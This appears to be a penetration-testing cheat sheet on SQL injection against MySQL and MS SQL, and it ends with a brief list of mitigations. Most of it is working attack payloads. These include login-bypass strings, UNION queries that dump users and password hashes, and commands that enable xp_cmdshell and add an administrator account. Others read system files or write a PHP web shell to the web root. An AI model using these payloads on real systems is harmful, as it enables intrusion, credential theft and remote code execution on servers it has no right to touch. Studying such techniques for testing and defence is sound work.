SQLI Injection

SQLI Injection ToC

SQLI impact
Taxonomy
Identifying SQLI
MsSqli exploitation
MsSql error-based Exploitation
MsSqlI blind exploitation
Finding number of columns using ORDER BY
MySql UNION code execution
MySql UNION db leak
MySql in-band, union based SQLI exploitation
SQLI login bypass
Other tricks
Object to relational mapping (ORM) injection
Mitigation

SQLI impact

Bypass auth
Dump DB
Find passwords, re-use in SSH, etc
MySql: read sensitive files, write arbitrary files (backdoor).
MsSql: Code execution
Run exploits for that db version

Taxonomy

Inband error based

The syntax error is shown in the response and it can be used to get results, may be enough to enumerate the db.

Inband union based:

Union operator to combine the results with another query and enumerate

Blind boolean based

You can not trigger any database output in the response, but cause differences in the app behaviour (true/false).

Blind time based

Same as Boolean based, but causing a time delay rather than significant response differences.

Outband or second order

The query is executed in another thread/process and no side effects in the inband response can be produce. Test it with a ping back or finding the correct end-point to trigger it.

Identifying SQLI

Test error based sending ' " ; and look for errors.
Test for boolean based sending ' or '1'='1 or or 1=1 and look for differences.
Other boolean payloads:

2' or '1'='1
' or 1=1 --
a' or 1=1 --
" or 1=1 --
a" or 1=1 --
' or 1=1 #
" or 1=1 #
or 1=1 --
' or 'x'='x
" or "x"="x
') or ('x'='x
") or ("x"="x
' or username LIKE '%admin%

Payloads, where username is 'admin':

' or ( 1=1 and username='admin');
admin' --
%bf%27 or 1=1 --

MsSqli exploitation

Find injectable parameter, doing do boolean based:

1002' or '1'='1
1002' and '1'='1
1002' and '1'='2

Find injectable parameter with time delays:

XX'; WAITFOR DELAY '0:0:5'--

If it works you can try to enable xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Test xp_cmdshell using a time delay:

';exec master..xp_cmdshell 'ping -n 5 127.0.0.1'; --

Add user

';exec master..xp_cmdshell 'net user pwned 1234 /ADD && net localgroup administrators pwned /ADD'; --

If it did not work, try enumerating the database. Find col until no error tells you the columns:

1002' ORDER BY 1--
1002' ORDER BY 2--
1002' ORDER BY 3--

Run union query with num of cols:

1002' UNION ALL SELECT null,NULL,NULL,NULL--

Get data:

ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),NULL,NULL--
ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(HOST_NAME() AS NVARCHAR(4000)),CHAR(32)),NULL,NULL--
ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(INJECTED_FUNCTION AS NVARCHAR(4000)),CHAR(32)),NULL,NULL--

DB_NAME()
user_name();
system_user

Get hashes

1002' UNION ALL SELECT NULL,CHAR(113)+ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))+CHAR(98)+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS NVARCHAR(4000)),CHAR(32))+CHAR(113),NULL,NULL FROM master..sysxlogins--

MsSql error-based Exploitation

Group by and having can be used to specify a search condition for a group and aggregate the result.

Sending ' having 1=1-- should produce column 'table.column1' is invalid

2. Sending ' group by table.column1 having 1=1-- should produce column 'table.column2' is invalid

3. Sending ' group by table.column1,table.column2 having 1=1-- should end up generating no error when you specify all the columns.

You can generate error and get debug info:

Sending convert(int, @@version)-- should trigger the error failed when convering SQL Server...*

Other payloads:

convert(int,user_name())--
convert(int, @@db_name())--

If the DB runs as SA, you can run XP_CMDSHELL to get code execution.
Useful queries:

SELECT Distinct TABLE_NAME FROM information_schema.TABLES
exec master.dbo.xp_cmdshell 'CMD'

MsSqlI blind exploitation

For numeric contexts (look for differences):

and 1=1
and 1=2

Once we found the injection, we can leak data from the DB by guessing one character at a time as follows:

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109

if it is true, we know the db_name starts with 109(m).
Ask if the first character of the user is 'a':

and if(substring (user(),1,1)=’a’,SLEEP(5),1)--”

Check if the admin table exists:

and IF(SUBSTRING ((select 1 from admin limit 0,1),1,1)=1,SLEEP(5),1)

Finding number of columns using ORDER BY

We can use order by to sort the result by a given column number, if the column does not exist, we will get an error:

vuln.php?id=1 order by 9 # This throws no error
vuln.php?id=1 order by 10 # This throws error

MySql UNION code execution

Joins the result of two queries

Two queries should return the same # of columns.

Data-types in columns of the select must be of the same orcompatible type.

Once you have the right number of columns (i.e. 3) you can find the mysql version:

UNION SELECT @@version,NULL, NULL#'

mysql users:

UNION SELECT table_schema,NULL,NULL FROM information_schema.columns#'

if the result displays garbage from the first query, you can add a false condition to only show the union result AND 1=0 UNION...
Read files

AND 1=0 UNION SELECT LOAD_FILE('C:\\boot.ini'),NULL,NULL #'

Write files

AND 1=0 UNION SELECT 'bad content',NULL,NULL INTO OUTFILE 'C:\\random_file.txt' #'

Other payloads:

-1 union all select @@version --
1 union SELECT user FROM mysql.user
1 union select 'foo' into outfile '/tmp/foo'
1 union select load_file('/etc/passwd')

MySql UNION db leak

First, identify vulnerable parameter by causing true and false conditions:

or 1=1 vs or 1=2
and 1=2 vs and 1=1

If the query is a select, the true should return all rows of the table and the other empty results.
Next step is to gess the number of columns, you can do that by sending an union statement, you will get an error until you guess it:

id=1 union all select 1
id=1 union all select 1,2
id=1 union all select 1,2,3
...

You can get the name of the database by sending:

?id=1 union all select 1,2,3,4,5 from XXX
Table 'gallery.XXX' doesn't existCould not select category

You can use a comment *#* to finish the query, in case there is a group by after the context of the injection. You can select the users and passwords form the database with:

id=1 union all (select 1,2,3,4,5,6 from mysql.user)#

Leak the password:

1 union (select password,2,3,4,5,6 from mysql.user)#

Should produce:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*47FB3B1E573D80F44CD198DC65DE7764795F948E) order by dateuploaded desc limit 1' at line 1

Find current user

SELECT user();
SELECT system_user();

List all Users

SELECT user FROM mysql.user;

List password hashes

SELECT host, user, password FROM mysql.user;

List databases

SELECT schema_name FROM information_schema.schemata;
SELECT distinct(db) FROM mysql.db

List columns

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

List tables

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

Exfiltrate the different rows of the table. First, find the number of rows in the table:

aa' UNION SELECT count(*), users.password FROM users; --

Then select each row:

aa' UNION SELECT users.password, users.password FROM users LIMIT 1; --

aa' UNION SELECT users.password, users.password FROM users LIMIT 1 OFFSET 1; --

aa' UNION SELECT users.password, users.password FROM users LIMIT 1 OFFSET 2; --

Exfiltrate the different rows of the table:

' or 'x'='x' order by 1 desc --
' or 'x'='x' order by 2 desc --
...

MySql in-band, union based SQLI exploitation

Enumerate user

?id=1 union select 1,2,3,4,user(),6,7,8,9

Enumerate version

?id=1 union select 1,2,3,4,version(),6,7,8,9

Get all tables

?=1 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables

Get all values from a specific column:

?id=1 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name = 'users'

Get username and password with a delimiter:

id=1 union select 1,2,3,4,concat(name,0x3a,password),6,7,8,9 FROM users

Getting a shell

?id=1 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php'

Non interactive shell:
echo 'use mysql; select * from user;' | mysql -uroot -h127.0.0.1

SQLI login bypass

-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

Other tricks

If space is filtered, you can use /**/ instead
Sometimes you can bypassfilter by adding a new line; I.e. 123%0aor 1=1
try boolean sqli using num=123 vs num=123-- (comments out the rest of the query)

Object to relational mapping (ORM) injection

Try vectors like

\'
\"
OR 1--

Mitigation

Parameterized Queries

"SELECT * FROM foo WHERE bar = ? ".setString( 1, var);

Stored Procedures (with parameterized queries)

connection.prepareCall("{call sp_getAccountBalance(?)}").setString(1, custname);

White List Input Validation
Escaping All User Supplied Input
Additional defenses

Least Privilege

White List Input Validation

Views

SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables